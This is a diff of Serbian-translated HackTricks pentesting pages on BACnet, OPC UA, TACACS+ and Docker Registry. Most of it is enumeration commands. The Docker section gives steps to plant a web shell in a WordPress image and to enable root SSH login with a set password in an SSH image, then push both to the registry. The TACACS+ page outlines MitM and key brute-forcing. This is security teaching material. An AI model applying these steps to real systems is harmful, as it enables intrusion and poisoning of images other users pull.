bacnet-enumerate -i eth0 -d 192.168.1.100
```
This will send BACnet ReadProperty requests to the device at `192.168.1.100` and display the responses.
Ovo će poslati BACnet ReadProperty zahteve uređaju na adresi `192.168.1.100` i prikazati odgovore.
### Conclusion
### Zaključak
UDP BACnet discovery and enumeration can be useful for identifying and understanding BACnet devices on a network. By using the `bacnet-discover` and `bacnet-enumerate` tools, you can gather information about the devices and their supported objects and properties.
Otkrivanje i nabrojavanje UDP BACnet-a može biti korisno za identifikaciju i razumevanje BACnet uređaja na mreži. Koristeći alate `bacnet-discover` i `bacnet-enumerate`, možete prikupiti informacije o uređajima i njihovim podržanim objektima i svojstvima.
## Automatski
```bash
nmap --script bacnet-info --script-args full=yes -sU -n -sV -p 47808 <IP>
```
Ovaj skript ne pokušava da se pridruži BACnet mreži kao strano uređaj, već jednostavno šalje BACnet zahteve direktno na uređaj sa IP adresom.
Ovaj skript ne pokušava da se pridruži BACnet mreži kao strana uređaj, već jednostavno šalje BACnet zahteve direktno na uređaj sa IP adresom.
## Shodan
@ -106,16 +60,17 @@ Ovaj skript ne pokušava da se pridruži BACnet mreži kao strano uređaj, već
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podrška HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju oglašenu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,41 +1,42 @@
# 4840 - Pentesting OPC UA
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Osnovne informacije
**OPC UA**, što znači **Open Platform Communications Unified Access**, je ključni open-source protokol koji se koristi u raznim industrijama poput proizvodnje, energetike, vazduhoplovstva i odbrane za razmenu podataka i kontrolu opreme. Omogućava komunikaciju između opreme različitih proizvođača, posebno sa PLC-ovima.
**OPC UA**, što znači **Open Platform Communications Unified Access**, je ključni open-source protokol koji se koristi u raznim industrijama kao što su proizvodnja, energija, vazduhoplovstvo i odbrana za razmenu podataka i kontrolu opreme. Omogućava jedinstvenu komunikaciju opreme različitih proizvođača, posebno sa PLC-ovima.
Njegova konfiguracija omogućava snažne sigurnosne mere, ali često, radi kompatibilnosti sa starijim uređajima, ove mere se smanjuju, izlažući sisteme rizicima. Dodatno, pronalaženje OPC UA servisa može biti teško jer skeneri mreže možda neće detektovati ako se nalaze na nestandardnim portovima.
Njegova konfiguracija omogućava jake bezbednosne mere, ali često, radi kompatibilnosti sa starijim uređajima, one se smanjuju, izlažući sisteme rizicima. Pored toga, pronalaženje OPC UA usluga može biti teško jer mrežni skeneri možda neće moći da ih otkriju ako su na nestandardnim portovima.
**Podrazumevani port:** 4840
```text
PORT STATE SERVICE REASON
4840/tcp open unknown syn-ack
```
## Pentestiranje OPC UA
## Pentesting OPC UA
Da biste otkrili sigurnosne probleme u OPC UA serverima, skenirajte ih pomoću [OpalOPC](https://opalopc.com/).
Da biste otkrili bezbednosne probleme u OPC UA serverima, skenirajte ih sa [OpalOPC](https://opalopc.com/).
```bash
opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
```
### Iskorišćavanje ranjivosti
Ako pronađete ranjivosti za zaobilaženje autentifikacije, možete konfigurisati [OPC UA klijent](https://www.prosysopc.com/products/opc-ua-browser/) prema tome i videti na šta možete pristupiti. Ovo može omogućiti sve, od jednostavnog čitanja vrednosti procesa do upravljanja industrijskom opremom visokih performansi.
Ako se pronađu ranjivosti za zaobilaženje autentifikacije, možete odgovarajuće konfigurisati [OPC UA klijent](https://www.prosysopc.com/products/opc-ua-browser/) i videti šta možete da pristupite. Ovo može omogućiti sve, od jednostavnog čitanja vrednosti procesa do stvarnog upravljanja teškom industrijskom opremom.
Da biste dobili ideju o uređaju kojem imate pristup, pročitajte vrednosti čvora "ServerStatus" u prostoru adresa i pretražite uputstvo za upotrebu na Google-u.
Da biste dobili naznaku o uređaju kojem imate pristup, pročitajte vrednosti čvora "ServerStatus" u adresnom prostoru i pretražite priručnik za korišćenje.
## Shodan
@ -45,16 +46,17 @@ Da biste dobili ideju o uređaju kojem imate pristup, pročitajte vrednosti čvo
* [https://opalopc.com/how-to-hack-opc-ua/](https://opalopc.com/how-to-hack-opc-ua/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju oglašenu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje trikove hakovanja slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# 49 - Pentesting TACACS+
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Try Hard Security Group**
@ -24,31 +25,33 @@ Drugi načini podrške HackTricks-u:
## Osnovne informacije
Protokol **Terminal Access Controller Access Control System (TACACS)** se koristi za centralnu validaciju korisnika koji pokušavaju da pristupe ruterima ili Serverima za pristup mreži (NAS). Njegova unapređena verzija, **TACACS+**, razdvaja usluge na autentifikaciju, autorizaciju i knjigovodstvo (AAA).
Protokol **Terminal Access Controller Access Control System (TACACS)** se koristi za centralnu validaciju korisnika koji pokušavaju da pristupe ruterima ili mrežnim pristupnim serverima (NAS). Njegova unapređena verzija, **TACACS+**, deli usluge na autentifikaciju, autorizaciju i obračun (AAA).
```
PORT STATE SERVICE
49/tcp open tacacs
```
**Podrazumevani port:** 49
## Presretanje autentifikacionog ključa
## Presretanje ključa za autentifikaciju
Ako komunikacija između klijenta i TACACS servera bude presretnuta od strane napadača, **šifrovani autentifikacioni ključ može biti presretnut**. Napadač može zatim pokušati **lokalni napad grubom silom na ključu bez otkrivanja u logovima**. Ukoliko uspe u grubom silovanju ključa, napadač dobija pristup mrežnoj opremi i može dešifrovati saobraćaj koristeći alate poput Wireshark-a.
Ako napadač presretne komunikaciju između klijenta i TACACS servera, **kriptovani ključ za autentifikaciju može biti presretnut**. Napadač može pokušati **lokalni napad silom protiv ključa bez da bude otkriven u logovima**. Ako uspe u napadu silom, napadač dobija pristup mrežnoj opremi i može dekriptovati saobraćaj koristeći alate poput Wireshark.
### Izvođenje MitM napada
**Napad lažiranja ARP-a može biti iskorišćen za izvođenje napada Čovek-u-Sredini (MitM)**.
**ARP spoofing napad se može iskoristiti za izvođenje Man-in-the-Middle (MitM) napada**.
### Napad grubom silom na ključ
### Napad silom na ključ
[Loki](https://c0decafe.de/svn/codename\_loki/trunk/) može biti korišćen za napad grubom silom na ključu:
[Loki](https://c0decafe.de/svn/codename\_loki/trunk/) se može koristiti za napad silom na ključ:
```
sudo loki_gtk.py
```
### Dekriptovanje saobraćaja
Kada se ključ uspešno probio, sledeći korak je **dekriptovanje TACACS-enkriptovanog saobraćaja**. Wireshark može obraditi enkriptovan TACACS saobraćaj ako je ključ obezbeđen. Analizom dekriptovanog saobraćaja, mogu se dobiti informacije poput **banera koji se koristi i korisničkog imena admin korisnika**.
Ako je ključ uspešno **bruteforced** (**obično u MD5 enkriptovanom formatu**), **možemo pristupiti opremi i dekriptovati TACACS-enkriptovani saobraćaj.**
Dobijanjem pristupa kontrolnoj tabli mrežne opreme korišćenjem dobijenih akreditiva, napadač može preuzeti kontrolu nad mrežom. Važno je napomenuti da su ove radnje isključivo u edukativne svrhe i ne bi trebalo da se koriste bez odgovarajuće autorizacije.
### Dekriptovanje Saobraćaja
Kada je ključ uspešno otkriven, sledeći korak je **dekriptovanje TACACS-enkriptovanog saobraćaja**. Wireshark može obraditi enkriptovani TACACS saobraćaj ako je ključ dostupan. Analizom dekriptovanog saobraćaja, informacije kao što su **baner koji se koristi i korisničko ime admin** korisnika mogu se dobiti.
Sticanjem pristupa kontrolnoj tabli mrežne opreme koristeći dobijene akreditive, napadač može ostvariti kontrolu nad mrežom. Važno je napomenuti da su ove akcije isključivo u obrazovne svrhe i ne bi se trebale koristiti bez odgovarajuće autorizacije.
## Reference
@ -60,16 +63,17 @@ Dobijanjem pristupa kontrolnoj tabli mrežne opreme korišćenjem dobijenih akre
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,52 +1,47 @@
# 5000 - Pentesting Docker Registry
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Osnovne informacije
## Basic Information
Sistem za skladištenje i distribuciju poznat kao **Docker registar** je postavljen za Docker slike koje su imenovane i mogu biti u više verzija, razlikujući se po oznakama. Ove slike su organizovane unutar **Docker repozitorijuma** u registru, pri čemu svaki repozitorijum čuva različite verzije određene slike. Funkcionalnost omogućava preuzimanje slika lokalno ili njihovo otpremanje na registar, pod uslovom da korisnik ima potrebne dozvole.
Sistem za skladištenje i distribuciju poznat kao **Docker registry** je uspostavljen za Docker slike koje su imenovane i mogu dolaziti u više verzija, razlikujući se po oznakama. Ove slike su organizovane unutar **Docker repositories** u registru, pri čemu svaki repozitorij skladišti različite verzije specifične slike. Funkcionalnost koja je obezbeđena omogućava preuzimanje slika lokalno ili njihovo učitavanje u registar, pod pretpostavkom da korisnik ima potrebne dozvole.
**DockerHub** služi kao podrazumevani javni registar za Docker, ali korisnici takođe imaju opciju da koriste lokalnu verziju open-source Docker registra/distribucije ili se odluče za komercijalno podržani **Docker Trusted Registry**. Dodatno, mogu se pronaći razni drugi javni registri online.
Za preuzimanje slike sa lokalnog registra, koristi se sledeća komanda:
**DockerHub** služi kao podrazumevani javni registar za Docker, ali korisnici takođe imaju opciju da upravljaju lokalnom verzijom open-source Docker registry/distribucije ili da se odluče za komercijalno podržani **Docker Trusted Registry**. Pored toga, razni drugi javni registri mogu se naći na mreži.
Da biste preuzeli sliku iz lokalnog registra, koristi se sledeća komanda:
```bash
docker pull my-registry:9000/foo/bar:2.1
```
Ova komanda preuzima sliku `foo/bar` verzije `2.1` sa on-premise registra na domenu `my-registry` na portu `9000`. Nasuprot tome, da biste preuzeli istu sliku sa DockerHub-a, posebno ako je `2.1` najnovija verzija, komanda se pojednostavljuje na:
Ova komanda preuzima `foo/bar` sliku verzije `2.1` iz lokalnog registra na `my-registry` domenu na portu `9000`. Nasuprot tome, da preuzmete istu sliku sa DockerHub-a, posebno ako je `2.1` najnovija verzija, komanda se pojednostavljuje na:
```bash
docker pull foo/bar
```
**Podrazumevani port:** 5000
```
PORT STATE SERVICE VERSION
5000/tcp open http Docker Registry (API: 2.0)
```
## Otkriće
## Otkrivanje
Najlakši način da otkrijete da li ovaj servis radi je da ga pronađete u izlazu nmap-a. U svakom slučaju, imajte na umu da budući da je ovo HTTP baziran servis, može biti iza HTTP proxy-ja i nmap ga neće otkriti.\
Najlakši način da otkrijete ovu uslugu koja radi je da je dobijete u izlazu nmap-a. U svakom slučaju, imajte na umu da, pošto je to HTTP zasnovana usluga, može biti iza HTTP proksija i nmap je neće otkriti.\
Neki otisci:
* Ako pristupite `/`, ništa neće biti vraćeno u odgovoru
* Ako pristupite `/v2/`, biće vraćeno `{}`
* Ako pristupite `/v2/_catalog`, možete dobiti:
* Ako pristupite `/` ništa se ne vraća u odgovoru
* Ako pristupite `/v2/` tada se vraća `{}`
* Ako pristupite `/v2/_catalog` možete dobiti:
* `{"repositories":["alpine","ubuntu"]}`
* `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`
@ -54,8 +49,7 @@ Neki otisci:
### HTTP/HTTPS
Docker registar može biti konfigurisan da koristi **HTTP** ili **HTTPS**. Dakle, prva stvar koju možda trebate uraditi je **pronaći koji je** konfigurisan:
Docker registry može biti konfigurisana da koristi **HTTP** ili **HTTPS**. Tako da je prva stvar koju možda treba da uradite da **pronađete koji se koristi**:
```bash
curl -s http://10.10.10.10:5000/v2/_catalog
#If HTTPS
@ -66,11 +60,9 @@ Warning: <FILE>" to save to a file.
#If HTTP
{"repositories":["alpine","ubuntu"]}
```
### Authentication
### Autentikacija
Docker registar takođe može biti konfigurisan da zahteva **autentikaciju**:
Docker registry može biti konfiguran da zahteva **authentication**:
```bash
curl -k https://192.25.197.3:5000/v2/_catalog
#If Authentication required
@ -78,18 +70,14 @@ curl -k https://192.25.197.3:5000/v2/_catalog
#If no authentication required
{"repositories":["alpine","ubuntu"]}
```
Ako Docker Registry zahteva autentifikaciju, možete **pokušati da je probijete koristeći ovo**.\
**Ako pronađete validne akreditive, moraćete da ih koristite** za enumeraciju registra, u `curl`-u ih možete koristiti na sledeći način:
Ako Docker Registry zahteva autentifikaciju, možete[ **pokušati da je brute force-ujete koristeći ovo**](../generic-methodologies-and-resources/brute-force.md#docker-registry).\
**Ako pronađete važeće akreditive, moraćete da ih koristite** za enumeraciju registra, u `curl`-u ih možete koristiti ovako:
```bash
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
```
### Enumeration using DockerRegistryGrabber
### Enumeracija korišćenjem DockerRegistryGrabber
[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) je Python alatka za enumeraciju / ispisivanje docker registra (bez ili sa osnovnom autentifikacijom)
[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) je python alat za enumeraciju / dump docker registra (bez ili sa osnovnom autentifikacijom)
```bash
usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump DOCKERNAME] url
@ -163,11 +151,9 @@ python3 DockerGraber.py http://127.0.0.1 --dump_all
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
```
### Enumeration using curl
### Enumeracija korišćenjem curl-a
Jednom kada **ste dobili pristup docker registru**, evo nekih komandi koje možete koristiti za enumeraciju:
Kada ste **dobili pristup docker registru**, evo nekoliko komandi koje možete koristiti za enumeraciju:
```bash
#List repositories
curl -s http://10.10.10.10:5000/v2/_catalog
@ -230,13 +216,11 @@ curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fa
#Inspect the insides of each blob
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory
```
{% hint style="warning" %}
Imajte na umu da će se prilikom preuzimanja i dekompresovanja datoteka i fascikli pojaviti u trenutnom direktorijumu. **Ako preuzmete sve datoteke i dekompresujete ih u istoj fascikli, one će prepisati vrednosti iz prethodno dekompresovanih datoteka**, zato budite oprezni. Može biti zanimljivo dekompresovati svaku datoteku unutar različite fascikle kako biste pregledali tačan sadržaj svake datoteke.
Napomena da kada preuzmete i dekompresujete blobove, fajlovi i folderi će se pojaviti u trenutnom direktorijumu. **Ako preuzmete sve blobove i dekompresujete ih u istom folderu, oni će prepisati vrednosti prethodno dekompresovanih blobova**, pa budite oprezni. Može biti zanimljivo dekompresovati svaki blob unutar različitog foldera kako biste pregledali tačan sadržaj svakog bloba.
{% endhint %}
### Enumeracija korišćenjem Docker-a
### Enumeracija koristeći docker
```bash
#Once you know which images the server is saving (/v2/_catalog) you can pull them
docker pull 10.10.10.10:5000/ubuntu
@ -255,11 +239,10 @@ docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
docker ps #Using a different shell
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
```
### Backdooring WordPress image
### Postavljanje zadnjih vrata na WordPress sliku
U scenariju u kojem ste pronašli Docker Registry koji čuva WordPress sliku, možete postaviti zadnja vrata.\
**Napravite** zadnja **vrata**:
U scenariju gde ste pronašli Docker Registry koji čuva wordpress sliku, možete je kompromitovati.\
**Kreirajte** **backdoor**:
{% code title="shell.php" %}
```bash
@ -267,7 +250,7 @@ U scenariju u kojem ste pronašli Docker Registry koji čuva WordPress sliku, mo
```
{% endcode %}
Napravite **Dockerfile**:
Kreirajte **Dockerfile**:
{% code title="Dockerfile" %}
```bash
@ -277,49 +260,60 @@ RUN chmod 777 /app/shell.php
```
{% endcode %}
**Napravite** novu sliku, **proverite** da li je kreirana, i **pošaljite** je:
**Kreirajte** novu sliku, **proverite** da li je kreirana, i **gurnite** je:
```bash
docker build -t 10.10.10.10:5000/wordpress .
#Create
docker images
docker push registry:5000/wordpress #Push it
```
### Backdooring SSH server image
### Postavljanje zadnjih vrata na SSH serversku sliku
Pretpostavimo da ste pronašli Docker Registry sa SSH slikom i želite da je postavite zadnjim vratima.\
Pretpostavimo da ste pronašli Docker Registry sa SSH slikom i želite da je backdoor-ujete.\
**Preuzmite** sliku i **pokrenite** je:
```bash
docker pull 10.10.10.10:5000/sshd-docker-cli
docker run -d 10.10.10.10:5000/sshd-docker-cli
```
Izvucite `sshd_config` fajl iz SSH slike:
Izvucite `sshd_config` datoteku iz SSH slike:
```bash
docker cp 4c989242c714:/etc/ssh/sshd_config .
```
I izmenite ga da postavite: `PermitRootLogin yes`
I izmenite ga da biste postavili: `PermitRootLogin yes`
Kreirajte **Dockerfile** kao što je sledeći:
Napravite **Dockerfile** kao u sledećem primeru:
{% tabs %}
{% tab title="Dockerfile" %}
```bash
FROM 10.10.10.10:5000/sshd-docker-cli
COPY sshd_config /etc/ssh/
RUN echo root:password | chpasswd
```
{% endtab %}
{% endtabs %}
**Kreirajte** novu sliku, **proverite** da li je kreirana, i **gurnite** je:
```bash
docker build -t 10.10.10.10:5000/sshd-docker-cli .
#Create
docker images
docker push registry:5000/sshd-docker-cli #Push it
```
## References
* [https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/)
